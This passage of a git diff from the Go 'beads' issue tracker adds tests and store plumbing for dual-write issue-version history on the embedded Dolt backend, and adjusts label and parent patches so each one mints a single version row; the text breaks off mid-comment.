any(te.store).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", te.store) + } + configurer.SetVersionedHistoryEnabled(true) + + kit := newEmbeddedRoleFixtureKit(te, "depver") + source := kit.IssuePrefix + "-src" + target := kit.IssuePrefix + "-tgt" + for _, id := range []string{source, target} { + if err := kit.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + } + + editor, err := te.store.DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + + versionRowCount := func(id string) int { + t.Helper() + var count int + if err := kit.QueryScalar(ctx, "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", []any{id}, &count); err != nil { + t.Fatalf("QueryScalar(issue_versions count for %s): %v", id, err) + } + return count + } + + sourceBefore := versionRowCount(source) + targetBefore := versionRowCount(target) + + if _, err := editor.AddDependencies(ctx, issueops.AddDependenciesRequest{ + Actor: "actor", + Edges: []issueops.DependencyEdge{{IssueID: source, DependsOnID: target, Type: issueops.DepBlocks}}, + }); err != nil { + t.Fatalf("AddDependencies (real add): %v", err) + } + afterAdd := versionRowCount(source) + if afterAdd != sourceBefore+1 { + t.Fatalf("real add: source version rows = %d, want %d (before %d)", afterAdd, sourceBefore+1, sourceBefore) + } + if got := versionRowCount(target); got != targetBefore { + t.Fatalf("real add: target (non-referencing side) version rows = %d, want unchanged %d", got, targetBefore) + } + + // Idempotent same-type re-add: AddDependencyInTx reports eventWritten + // false, so this must not mint a second row (R3). + if _, err := editor.AddDependencies(ctx, issueops.AddDependenciesRequest{ + Actor: "actor", + Edges: []issueops.DependencyEdge{{IssueID: source, DependsOnID: target, Type: issueops.DepBlocks}}, + }); err != nil { + t.Fatalf("AddDependencies (idempotent re-add): %v", err) + } + if got := versionRowCount(source); got != afterAdd { + t.Fatalf("idempotent re-add: source version rows = %d, want unchanged %d", got, afterAdd) + } + + if _, err := editor.RemoveDependency(ctx, issueops.RemoveDependencyRequest{ + Actor: "actor", IssueID: source, DependsOnID: target, + }); err != nil { + t.Fatalf("RemoveDependency (real remove): %v", err) + } + afterRemove := versionRowCount(source) + if afterRemove != afterAdd+1 { + t.Fatalf("real remove: source version rows = %d, want %d", afterRemove, afterAdd+1) + } + + // Absent edge: RemoveDependencyInTx reports eventWritten false and + // Removed false, so this must not mint a third row (R3). + if _, err := editor.RemoveDependency(ctx, issueops.RemoveDependencyRequest{ + Actor: "actor", IssueID: source, DependsOnID: target, + }); err != nil { + t.Fatalf("RemoveDependency (already-absent): %v", err) + } + if got := versionRowCount(source); got != afterRemove { + t.Fatalf("absent remove: source version rows = %d, want unchanged %d", got, afterRemove) + } +} diff --git a/internal/storage/embeddeddolt/dualwrite_history_contract_test.go b/internal/storage/embeddeddolt/dualwrite_history_contract_test.go new file mode 100644 index 000000000..78010fd6b --- /dev/null +++ b/internal/storage/embeddeddolt/dualwrite_history_contract_test.go @@ -0,0 +1,133 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// TestDualWriteContract runs the dual-write history contract against the +// embedded store, which reaches issueops mutation entrypoints through its own +// per-operation connection. All three legs share RecordVersionInTx's one +// body, so this is an ENGINE CHECK rather than an independent vote — what it +// can actually catch here is a wrapper that loses the transaction the +// version row must land in, or a backend that stops implementing the seam +// at all. +func TestDualWriteContract(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "dwc") + ctx := t.Context() + fixture := newEmbeddedDualWriteFixture(t, te, "dwc", true) + + t.Run("MintsOneVersionRowPerAcceptedMutation", func(t *testing.T) { + conformance.RunDualWriteMintsOneVersionRowPerAcceptedMutation(t, ctx, fixture) + }) + t.Run("NoOpMutationMintsNoRow", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationMintsNoRow(t, ctx, fixture) + }) + t.Run("AttributionIsRecordedWithTheMutation", func(t *testing.T) { + conformance.RunDualWriteAttributionIsRecordedWithTheMutation(t, ctx, fixture) + }) + t.Run("CurrentRevisionMatchesTheNewVersionRow", func(t *testing.T) { + conformance.RunDualWriteCurrentRevisionMatchesTheNewVersionRow(t, ctx, fixture) + }) + t.Run("NoOpMutationLeavesThePriorVersionRowUnperturbed", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationLeavesThePriorVersionRowUnperturbed(t, ctx, fixture) + }) +} + +// TestDualWriteContractFlagOff runs FR-7 against an environment constructed +// with the flag OFF from the start — its own environment, not a shared one, +// so "flag off" means what FR-7 promises rather than "not yet turned on this +// session". +func TestDualWriteContractFlagOff(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "dwcoff") + ctx := t.Context() + fixture := newEmbeddedDualWriteFixture(t, te, "dwcoff", false) + + t.Run("FlagOffProducesNoVersionRows", func(t *testing.T) { + conformance.RunDualWriteFlagOffProducesNoVersionRows(t, ctx, fixture) + }) +} + +// TestDualWriteFixtureKitIsWired is this leg's half of the explicit per-leg +// guardrail design §8.5 calls for in place of AST auto-discovery — see the +// dolt leg's TestDualWriteFixtureKitIsWired for why the guardrail is needed +// even though TestEveryLegWiresEveryRoleContract's scan already enumerates +// and confirms wiring for all six RunDualWriteXxx entrypoints. +func TestDualWriteFixtureKitIsWired(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "dwk") + fixture := newEmbeddedDualWriteFixture(t, te, "dwk", true) + + if fixture.Mutate == nil { + t.Error("DualWriteFixture.Mutate is nil") + } + if fixture.MutateAsNoOp == nil { + t.Error("DualWriteFixture.MutateAsNoOp is nil") + } + if fixture.CurrentRevision == nil { + t.Error("DualWriteFixture.CurrentRevision is nil") + } + if fixture.VersionRowCount == nil { + t.Error("DualWriteFixture.VersionRowCount is nil") + } + if fixture.LatestVersionAttribution == nil { + t.Error("DualWriteFixture.LatestVersionAttribution is nil") + } +} + +func newEmbeddedDualWriteFixture(t *testing.T, te *testEnv, prefix string, enabled bool) conformance.DualWriteFixture { + t.Helper() + store := te.store + // Through the type assertion `bd serve` makes, never the concrete method + // set: dual-write history is not on storage.DoltStorage, so publishing it + // IS implementing this interface, matching newEmbeddedJournalFixture's own + // discipline for storage.EventsJournalCursor above. + configurer, ok := any(store).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", store) + } + configurer.SetVersionedHistoryEnabled(enabled) + + kit := newEmbeddedRoleFixtureKit(te, prefix) + return conformance.DualWriteFixture{ + IssuePrefix: prefix, + Mutate: func(ctx context.Context, id string) error { + return store.CreateIssue(ctx, &types.Issue{ + ID: id, Title: "t-" + id, IssueType: types.TypeTask, Status: types.StatusOpen, + }, "actor") + }, + MutateAsNoOp: func(ctx context.Context, id string) error { + // Re-sets title to the exact value Mutate already gave it, so + // issueops.DiscardNoopIssueUpdates discards it before it ever + // reaches RecordVersionInTx. + return store.UpdateIssue(ctx, id, map[string]any{"title": "t-" + id}, "actor") + }, + CurrentRevision: func(ctx context.Context, id string) (int64, error) { + var revision int64 + err := kit.QueryScalar(ctx, "SELECT current_revision FROM issues WHERE id = ?", []any{id}, &revision) + return revision, err + }, + VersionRowCount: func(ctx context.Context, id string) (int, error) { + var count int + err := kit.QueryScalar(ctx, "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", []any{id}, &count) + return count, err + }, + LatestVersionAttribution: func(ctx context.Context, id string) (actor, agent, message string, err error) { + err = kit.QueryScalar(ctx, ` + SELECT COALESCE(change_actor, ''), COALESCE(change_agent, ''), COALESCE(change_message, '') + FROM issue_versions + WHERE issue_id = ? + ORDER BY revision DESC + LIMIT 1`, []any{id}, &actor, &agent, &message) + return actor, agent, message, err + }, + } +} diff --git a/internal/storage/embeddeddolt/expected_revision_contract_test.go b/internal/storage/embeddeddolt/expected_revision_contract_test.go new file mode 100644 index 000000000..a716384f6 --- /dev/null +++ b/internal/storage/embeddeddolt/expected_revision_contract_test.go @@ -0,0 +1,52 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestExpectedRevisionContract wires this leg into the R16/R17 +// expected-revision contract. Phase 0 leaves every hook nil in every +// backend's fixture kit (architecture §12), so each case below skips by +// name; this file exists so TestEveryLegWiresEveryRoleContract counts this +// leg, and so the cases start running for real the moment this leg's fixture +// kit grows a non-nil hook. +func TestExpectedRevisionContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.ExpectedRevisionFixture{IssuePrefix: "erev"} + + t.Run("AcceptsAWriteNamingTheCurrentVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingTheCurrentVersion(t, ctx, fixture) + }) + t.Run("AcceptsAWriteNamingNoVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingNoVersion(t, ctx, fixture) + }) + t.Run("CoversFieldsOutsideAnyWatchedSubset", func(t *testing.T) { + conformance.RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionAddress", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionAddress(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionsChangeAttribution", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionsChangeAttribution(t, ctx, fixture) + }) + t.Run("RefusalIsATypedOutcomeNotAGenericError", func(t *testing.T) { + conformance.RunRefusalIsATypedOutcomeNotAGenericError(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromAnAcceptedWrite", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromAnAcceptedWrite(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromNotFound", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromNotFound(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromValidationFailure", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromValidationFailure(t, ctx, fixture) + }) + t.Run("RefusalNeverSilentlyPicksAWinner", func(t *testing.T) { + conformance.RunRefusalNeverSilentlyPicksAWinner(t, ctx, fixture) + }) +} diff --git a/internal/storage/embeddeddolt/retention_epoch_contract_test.go b/internal/storage/embeddeddolt/retention_epoch_contract_test.go new file mode 100644 index 000000000..648341895 --- /dev/null +++ b/internal/storage/embeddeddolt/retention_epoch_contract_test.go @@ -0,0 +1,74 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestRetentionContract wires this leg into the R20 retention contract. +// Phase 0 leaves every hook nil in every backend's fixture kit (architecture +// §12), so each case below skips by name; this file exists so +// TestEveryLegWiresEveryRoleContract counts this leg, and so the cases start +// running for real the moment this leg's fixture kit grows a non-nil hook. +func TestRetentionContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.RetentionFixture{IssuePrefix: "rete"} + + t.Run("RemovalLeavesTheAddressAbleToAnswer", func(t *testing.T) { + conformance.RunRemovalLeavesTheAddressAbleToAnswer(t, ctx, fixture) + }) + t.Run("RemovalReasonIsRetentionErasureOrReorganizationDistinctly", func(t *testing.T) { + conformance.RunRemovalReasonIsRetentionErasureOrReorganizationDistinctly(t, ctx, fixture) + }) + t.Run("RemovalReportsTheSurvivingRetainedWindow", func(t *testing.T) { + conformance.RunRemovalReportsTheSurvivingRetainedWindow(t, ctx, fixture) + }) + t.Run("RemovalNeverReassignsASurvivingAddress", func(t *testing.T) { + conformance.RunRemovalNeverReassignsASurvivingAddress(t, ctx, fixture) + }) + t.Run("GoneIsDistinguishableFromUnknown", func(t *testing.T) { + conformance.RunGoneIsDistinguishableFromUnknown(t, ctx, fixture) + }) + t.Run("AnAddressNeverResolvesToADifferentState", func(t *testing.T) { + conformance.RunAnAddressNeverResolvesToADifferentState(t, ctx, fixture) + }) + t.Run("ADestructiveOperationEnumeratesAffectedAddressesFirst", func(t *testing.T) { + conformance.RunADestructiveOperationEnumeratesAffectedAddressesFirst(t, ctx, fixture) + }) + t.Run("AHoldPreventsRemovalAndReportsInRetainedBounds", func(t *testing.T) { + conformance.RunAHoldPreventsRemovalAndReportsInRetainedBounds(t, ctx, fixture) + }) + t.Run("ForcingAHeldRemovalRecordsWhoWhenWhy", func(t *testing.T) { + conformance.RunForcingAHeldRemovalRecordsWhoWhenWhy(t, ctx, fixture) + }) + t.Run("EveryRetentionAnswerNamesItsProducingStore", func(t *testing.T) { + conformance.RunEveryRetentionAnswerNamesItsProducingStore(t, ctx, fixture) + }) + t.Run("AStoreWithNoLineageKnowledgeAnswersUnknownNotGone", func(t *testing.T) { + conformance.RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone(t, ctx, fixture) + }) + t.Run("AStoreThatRemovesStateStillAnswersGoneDurably", func(t *testing.T) { + conformance.RunAStoreThatRemovesStateStillAnswersGoneDurably(t, ctx, fixture) + }) + t.Run("ErasureMintsACorrectedVersionRatherThanEditingInPlace", func(t *testing.T) { + conformance.RunErasureMintsACorrectedVersionRatherThanEditingInPlace(t, ctx, fixture) + }) +} + +// TestEpochContract wires this leg into the R20 epoch contract. Same Phase 0 +// all-nil state as TestRetentionContract above. +func TestEpochContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.EpochFixture{IssuePrefix: "epch"} + + t.Run("AnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange", func(t *testing.T) { + conformance.RunAnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange(t, ctx, fixture) + }) + t.Run("EpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed", func(t *testing.T) { + conformance.RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed(t, ctx, fixture) + }) +} diff --git a/internal/storage/embeddeddolt/store.go b/internal/storage/embeddeddolt/store.go index 058026ce5..609308ad1 100644 --- a/internal/storage/embeddeddolt/store.go +++ b/internal/storage/embeddeddolt/store.go @@ -32,6 +32,7 @@ var _ storage.Flattener = (*EmbeddedDoltStore)(nil) var _ storage.Compactor = (*EmbeddedDoltStore)(nil) var _ storage.SchemaMigrator = (*EmbeddedDoltStore)(nil) var _ storage.EventsJournalConfigurer = (*EmbeddedDoltStore)(nil) +var _ storage.VersionedHistoryConfigurer = (*EmbeddedDoltStore)(nil) var _ storage.ExternalRefHistoryQuerier = (*EmbeddedDoltStore)(nil) // EmbeddedDoltStore implements storage.DoltStorage backed by the embedded Dolt engine. @@ -52,6 +53,10 @@ type EmbeddedDoltStore struct { // eventsJournalEnabled activates the durable events journal for THIS store // instance only (storage.EventsJournalConfigurer); never process-global. eventsJournalEnabled atomic.Bool + // versionedHistoryEnabled activates dual-write issue-version history for + // THIS store instance only (storage.VersionedHistoryConfigurer); never + // process-global. + versionedHistoryEnabled atomic.Bool // readOnly marks a store opened via OpenReadOnly or // OpenForPreviewCommand: open-time mutations (CREATE DATABASE, schema // migrations) were skipped and write transactions are refused @@ -392,6 +397,8 @@ func (s *EmbeddedDoltStore) withConn(ctx context.Context, commit bool, fn func(t } clearJournalScope := issueops.ScopeEventsJournalTransaction(tx, s.eventsJournalEnabled.Load()) defer clearJournalScope() + clearVersionScope := issueops.ScopeVersionedHistoryTransaction(tx, s.versionedHistoryEnabled.Load()) + defer clearVersionScope() if fnErr := fn(tx); fnErr != nil { err = errors.Join(fnErr, tx.Rollback()) @@ -416,6 +423,12 @@ func (s *EmbeddedDoltStore) SetEventsJournalEnabled(enabled bool) { s.eventsJournalEnabled.Store(enabled) } +// SetVersionedHistoryEnabled activates dual-write issue-version history for +// this store instance only. +func (s *EmbeddedDoltStore) SetVersionedHistoryEnabled(enabled bool) { + s.versionedHistoryEnabled.Store(enabled) +} + // commitEmbeddedTx classifies an unconfirmed SQL commit response as // indeterminate: the engine may have applied it before the connection failed. func commitEmbeddedTx(tx *sql.Tx) error { diff --git a/internal/storage/embeddeddolt/version_completeness_behaviour_test.go b/internal/storage/embeddeddolt/version_completeness_behaviour_test.go new file mode 100644 index 000000000..455a196b4 --- /dev/null +++ b/internal/storage/embeddeddolt/version_completeness_behaviour_test.go @@ -0,0 +1,311 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "encoding/json" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// These tests are the RUNTIME twin of issueops' version_completeness_test.go, +// which pins by static analysis that every issue-plane mutation reaches +// RecordVersionInTx. That guard cannot see whether the mint actually lands — +// that INSERT IGNORE reports zero affected rows for a duplicate label on this +// engine, that a closed row can still be snapshotted, that a batch create's +// deferred mint runs after its edges — so the law is exercised here once, +// flag on, on the in-process leg: every accepted mutation mints exactly one +// version row, a no-op mints none, and current_revision always equals the +// row count (FR-1, FR-2, FR-5 of #6135). It is an ENGINE CHECK on the shared +// issueops bodies, like TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove +// beside it: the dolt and uow legs run the same functions. +// +// Every assertion is a DELTA against the issue's own version-row count, so +// the cases stay correct regardless of how many rows their seeds minted. + +type versionProbe struct { + t *testing.T + kit roleFixtureKit +} + +func newVersionProbe(t *testing.T, te *testEnv, prefix string) versionProbe { + t.Helper() + configurer, ok := any(te.store).(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("%T does not implement storage.VersionedHistoryConfigurer", te.store) + } + configurer.SetVersionedHistoryEnabled(true) + return versionProbe{t: t, kit: newEmbeddedRoleFixtureKit(te, prefix)} +} + +func (p versionProbe) rows(id string) int { + p.t.Helper() + var count int + if err := p.kit.QueryScalar(p.t.Context(), "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", []any{id}, &count); err != nil { + p.t.Fatalf("count issue_versions for %s: %v", id, err) + } + return count +} + +func (p versionProbe) currentRevision(id string) int { + p.t.Helper() + var revision int + if err := p.kit.QueryScalar(p.t.Context(), "SELECT current_revision FROM issues WHERE id = ?", []any{id}, &revision); err != nil { + p.t.Fatalf("read current_revision for %s: %v", id, err) + } + return revision +} + +// latestState decodes the highest-revision durable_state for id. +func (p versionProbe) latestState(id string) map[string]any { + p.t.Helper() + var raw string + if err := p.kit.QueryScalar(p.t.Context(), + "SELECT durable_state FROM issue_versions WHERE issue_id = ? ORDER BY revision DESC LIMIT 1", + []any{id}, &raw); err != nil { + p.t.Fatalf("read latest durable_state for %s: %v", id, err) + } + var state map[string]any + if err := json.Unmarshal([]byte(raw), &state); err != nil { + p.t.Fatalf("decode durable_state for %s: %v\n%s", id, err, raw) + } + return state +} + +// expect asserts the version-row count of id moved from before by delta and +// returns the new count, so the steps of a scenario chain. +func (p versionProbe) expect(step, id string, before, delta int) int { + p.t.Helper() + got := p.rows(id) + if got != before+delta { + p.t.Fatalf("%s: version rows for %s = %d, want %d (before %d, delta %+d)", step, id, got, before+delta, before, delta) + } + return got +} + +// revisionMatchesRows pins FR-5 for id: current_revision is nothing but the +// count of rows RecordVersionInTx has minted. +func (p versionProbe) revisionMatchesRows(id string) { + p.t.Helper() + if rev, n := p.currentRevision(id), p.rows(id); rev != n { + p.t.Fatalf("current_revision for %s = %d but it has %d version row(s)", id, rev, n) + } +} + +func dependencyTargets(t *testing.T, state map[string]any) []string { + t.Helper() + raw, _ := state["dependencies"].([]any) + targets := make([]string, 0, len(raw)) + for _, dep := range raw { + m, _ := dep.(map[string]any) + target, _ := m["depends_on_id"].(string) + targets = append(targets, target) + } + return targets +} + +func labelsOf(state map[string]any) []string { + raw, _ := state["labels"].([]any) + labels := make([]string, 0, len(raw)) + for _, l := range raw { + s, _ := l.(string) + labels = append(labels, s) + } + return labels +} + +// TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion walks the +// lifecycle verbs the write-path inventory found unversioned — claim, release, +// label add/remove, the legacy dependency verbs, close and reopen — and pins +// one row per accepted change and none for each verb's no-op shape. +func TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "vermint") + ctx := t.Context() + p := newVersionProbe(t, te, "vermint") + store := te.store + + a, b := p.kit.IssuePrefix+"-a", p.kit.IssuePrefix+"-b" + for _, id := range []string{a, b} { + if err := p.kit.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + } + na := p.expect("seed", a, 0, 1) + nb := p.expect("seed", b, 0, 1) + + // claim: one row for the CAS that wrote assignee/status/started_at; the + // idempotent re-claim by the same actor returns without writing. + if err := store.ClaimIssue(ctx, a, "worker"); err != nil { + t.Fatalf("ClaimIssue: %v", err) + } + na = p.expect("claim", a, na, 1) + if err := store.ClaimIssue(ctx, a, "worker"); err != nil { + t.Fatalf("ClaimIssue (idempotent re-claim): %v", err) + } + na = p.expect("idempotent re-claim", a, na, 0) + + // release: assignee and status revert. + if err := store.UnclaimIssue(ctx, a, "worker", false); err != nil { + t.Fatalf("UnclaimIssue: %v", err) + } + na = p.expect("unclaim", a, na, 1) + + // labels: INSERT IGNORE on an existing label and DELETE of an absent one + // are the no-op shapes. + if err := store.AddLabel(ctx, a, "l1", "actor"); err != nil { + t.Fatalf("AddLabel: %v", err) + } + na = p.expect("add label", a, na, 1) + if labels := labelsOf(p.latestState(a)); len(labels) != 1 || labels[0] != "l1" { + t.Fatalf("add label: latest durable_state labels = %v, want [l1]", labels) + } + if err := store.AddLabel(ctx, a, "l1", "actor"); err != nil { + t.Fatalf("AddLabel (duplicate): %v", err) + } + na = p.expect("duplicate add label", a, na, 0) + if err := store.RemoveLabel(ctx, a, "l1", "actor"); err != nil { + t.Fatalf("RemoveLabel: %v", err) + } + na = p.expect("remove label", a, na, 1) + if err := store.RemoveLabel(ctx, a, "l1", "actor"); err != nil { + t.Fatalf("RemoveLabel (absent): %v", err) + } + na = p.expect("absent remove label", a, na, 0) + + // the legacy store dependency verbs (no DependencyEditor role): the + // referencing issue versions, the target does not. + if err := store.AddDependency(ctx, &types.Dependency{IssueID: a, DependsOnID: b, Type: types.DepBlocks}, "actor"); err != nil { + t.Fatalf("AddDependency: %v", err) + } + na = p.expect("legacy dep add", a, na, 1) + nb = p.expect("legacy dep add (target)", b, nb, 0) + if targets := dependencyTargets(t, p.latestState(a)); len(targets) != 1 || targets[0] != b { + t.Fatalf("legacy dep add: latest durable_state dependencies = %v, want [%s]", targets, b) + } + if err := store.RemoveDependency(ctx, a, b, "actor"); err != nil { + t.Fatalf("RemoveDependency: %v", err) + } + na = p.expect("legacy dep remove", a, na, 1) + if targets := dependencyTargets(t, p.latestState(a)); len(targets) != 0 { + t.Fatalf("legacy dep remove: latest durable_state dependencies = %v, want none", targets) + } + + // close, including the WithoutEvent-style idempotent already-closed + // return, then reopen. + if err := store.CloseIssue(ctx, a, "done", "actor", ""); err != nil { + t.Fatalf("CloseIssue: %v", err) + } + na = p.expect("close", a, na, 1) + if status, _ := p.latestState(a)["status"].(string); status != string(types.StatusClosed) { + t.Fatalf("close: latest durable_state status = %q, want closed", status) + } + if err := store.CloseIssue(ctx, a, "done", "actor", ""); err != nil { + t.Fatalf("CloseIssue (already closed): %v", err) + } + na = p.expect("already-closed close", a, na, 0) + if err := store.ReopenIssue(ctx, a, "", "actor"); err != nil { + t.Fatalf("ReopenIssue: %v", err) + } + p.expect("reopen", a, na, 1) + + p.revisionMatchesRows(a) + p.revisionMatchesRows(b) +} + +// TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges pins the +// batch-create ordering fix: the one version minted at creation is minted +// AFTER PersistDependenciesWithOptionsResult, so it carries the outgoing edge +// set, and the dependency pass mints nothing of its own. +func TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "vercreate") + ctx := t.Context() + p := newVersionProbe(t, te, "vercreate") + + src, tgt := p.kit.IssuePrefix+"-src", p.kit.IssuePrefix+"-tgt" + issues := []*types.Issue{ + {ID: src, Title: src, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + Dependencies: []*types.Dependency{{IssueID: src, DependsOnID: tgt, Type: types.DepBlocks}}}, + {ID: tgt, Title: tgt, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + } + if err := te.store.CreateIssues(ctx, issues, "actor"); err != nil { + t.Fatalf("CreateIssues: %v", err) + } + p.expect("batch create", src, 0, 1) + p.expect("batch create", tgt, 0, 1) + if targets := dependencyTargets(t, p.latestState(src)); len(targets) != 1 || targets[0] != tgt { + t.Fatalf("batch create: the first version's durable_state dependencies = %v, want [%s]: "+ + "the mint must run after the creation-time edges are persisted", targets, tgt) + } + p.revisionMatchesRows(src) + p.revisionMatchesRows(tgt) +} + +// TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches pins the ExecuteUpdate +// ordering fix: a guarded update carrying a field edit, a label patch and a +// parent patch mints ONE version, whose durable_state carries all three, and +// a guarded update that changes nothing mints none. +func TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "verupd") + ctx := t.Context() + p := newVersionProbe(t, te, "verupd") + + child, parent := p.kit.IssuePrefix+"-child", p.kit.IssuePrefix+"-parent" + for _, id := range []string{child, parent} { + if err := p.kit.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + } + lifecycle, err := te.store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + n := p.rows(child) + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "actor", IssueID: child, + Patch: issueops.IssuePatch{ + Title: issueops.Field[string]{Set: true, Value: "renamed"}, + Labels: issueops.LabelPatch{Add: []string{"patched"}}, + ParentID: issueops.Field[string]{Set: true, Value: parent}, + }, + }); err != nil { + t.Fatalf("Lifecycle.Update: %v", err) + } + n = p.expect("guarded update with field + label + parent patches", child, n, 1) + state := p.latestState(child) + if title, _ := state["title"].(string); title != "renamed" { + t.Fatalf("guarded update: durable_state title = %q, want renamed", title) + } + if labels := labelsOf(state); len(labels) != 1 || labels[0] != "patched" { + t.Fatalf("guarded update: durable_state labels = %v, want [patched]: the label patch must land before the mint", labels) + } + if targets := dependencyTargets(t, state); len(targets) != 1 || targets[0] != parent { + t.Fatalf("guarded update: durable_state dependencies = %v, want [%s]: the parent patch must land before the mint", targets, parent) + } + + // The same request again changes nothing: the field is a no-op, the label + // set already matches and the parent is already set. + if _, err := lifecycle.Update(ctx, issueops.UpdateRequest{ + Actor: "actor", IssueID: child, + Patch: issueops.IssuePatch{ + Title: issueops.Field[string]{Set: true, Value: "renamed"}, + Labels: issueops.LabelPatch{Add: []string{"patched"}}, + ParentID: issueops.Field[string]{Set: true, Value: parent}, + }, + }); err != nil { + t.Fatalf("Lifecycle.Update (no-op): %v", err) + } + p.expect("no-op guarded update", child, n, 0) + p.revisionMatchesRows(child) + p.revisionMatchesRows(parent) +} diff --git a/internal/storage/issueops/aggregate.go b/internal/storage/issueops/aggregate.go index 3478e19b9..9f0c35efc 100644 --- a/internal/storage/issueops/aggregate.go +++ b/internal/storage/issueops/aggregate.go @@ -286,7 +286,17 @@ func metadataChanged(current, next json.RawMessage) (bool, error) { } // ApplyLabelPatch applies ordered label edits and reports whether rows changed. +// A patch that changed the label set mints ONE version row for the issue, +// after every label row it wrote; a patch that leaves the set as it was mints +// nothing. func ApplyLabelPatch(ctx context.Context, tx DBTX, current *types.Issue, patch publicops.LabelPatch, actor string) (bool, error) { + return applyLabelPatch(ctx, tx, current, patch, actor, true) +} + +// applyLabelPatch is the body of ApplyLabelPatch. mintVersion controls whether +// the patch mints its own version row; ExecuteUpdate passes false and mints +// once for the whole guarded update after its last patch. +func applyLabelPatch(ctx context.Context, tx DBTX, current *types.Issue, patch publicops.LabelPatch, actor string, mintVersion bool) (bool, error) { if !patch.Replace.Set && len(patch.Add) == 0 && len(patch.Remove) == 0 { return false, nil } @@ -333,13 +343,21 @@ func ApplyLabelPatch(ctx context.Context, tx DBTX, current *types.Issue, patch p if !ok { return false, fmt.Errorf("apply labels: transaction must be *sql.Tx") } + // The per-label helpers run without minting: the patch is one mutation + // and is versioned once below, after the last row, so the version carries + // the complete post-patch set rather than one row per label. for _, label := range stringSetDifference(existing, target) { - if err := RemoveLabelInTx(ctx, sqlTx, "", "", current.ID, label, actor); err != nil { + if err := removeLabelInTx(ctx, sqlTx, "", "", current.ID, label, actor, false); err != nil { return false, err } } for _, label := range stringSetDifference(target, existing) { - if err := AddLabelInTx(ctx, sqlTx, "", "", current.ID, label, actor); err != nil { + if err := addLabelInTx(ctx, sqlTx, "", "", current.ID, label, actor, false); err != nil { + return false, err + } + } + if mintVersion { + if err := RecordVersionInTx(ctx, tx, current.ID, actor); err != nil { return false, err } } @@ -353,8 +371,17 @@ type ParentPatchResult struct { WispRowsChanged bool } -// ApplyParentPatch replaces the parent-child targets and reports concrete changes. +// ApplyParentPatch replaces the parent-child targets and reports concrete +// changes. A patch that rewired the parent edges mints ONE version row for the +// child (the referencing issue), after the last edge write; an unchanged +// parent set mints nothing. func ApplyParentPatch(ctx context.Context, tx DBTX, current *types.Issue, parent publicops.Field[string], actor string) (ParentPatchResult, error) { + return applyParentPatch(ctx, tx, current, parent, actor, true) +} + +// applyParentPatch is the body of ApplyParentPatch; mintVersion is +// 